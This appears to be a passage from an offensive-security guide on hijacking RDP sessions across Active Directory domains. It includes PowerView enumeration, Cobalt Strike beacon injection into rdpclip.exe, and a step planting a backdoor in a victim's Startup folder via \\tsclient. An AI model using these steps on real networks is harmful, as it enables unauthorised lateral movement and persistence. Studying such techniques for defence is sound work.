If the external group has RDP access to any computer in the current domain, an attacker could compromise that computer and wait for him.
Once that user has accessed via RDP, the attacker can pivot to that users session and abuse its permissions in the external domain.
# Supposing the group "External Users" has RDP access in the current domain## lets find where they could access## The easiest way would be with bloodhound, but you could also run:Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#orFind-DomainLocalGroupMember-GroupName "Remote Desktop Users"| select -expand ComputerName# Then, compromise the listed machines, and wait til someone from the external domain logs in:net logonsLogged on users at \\localhost:EXT\super.admin# With cobalt strike you could just inject a beacon inside of the RDP processbeacon> ps PID PPID Name Arch Session User--------------------------- ...49601012rdpclip.exe x64 3 EXT\super.adminbeacon> inject 4960 x64 tcp-local## From that beacon you can just run powerview modules interacting with the external domain as that user
Check other ways to steal sessions with other toolsin this page.
RDPInception
If a user access via RDP into a machine where an attacker is waiting for him, the attacker will be able to inject a beacon in the RDP session of the user and if the victim mounted his drive when accessing via RDP, the attacker could access it.
In this case you could just compromise the victimsoriginal computer by writing a backdoor in the statup folder.
# Wait til someone logs in:net logonsLogged on users at \\localhost:EXT\super.admin# With cobalt strike you could just inject a beacon inside of the RDP processbeacon> ps PID PPID Name Arch Session User--------------------------- ...49601012rdpclip.exe x64 3 EXT\super.adminbeacon> inject 4960 x64 tcp-local# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.## \\tsclient\c is the C: drive on the origin machine of the RDP sessionbeacon> ls \\tsclient\c Size Type Last Modified Name------------------------- dir 02/10/202104:11:30 $Recycle.Bin dir 02/10/202103:23:44 Boot dir 02/20/202110:15:23 Config.Msi dir 10/18/201601:59:39 Documents and Settings [...]# Upload backdoor to startup folderbeacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startupbeacon> upload C:\Payloads\pivot.exe
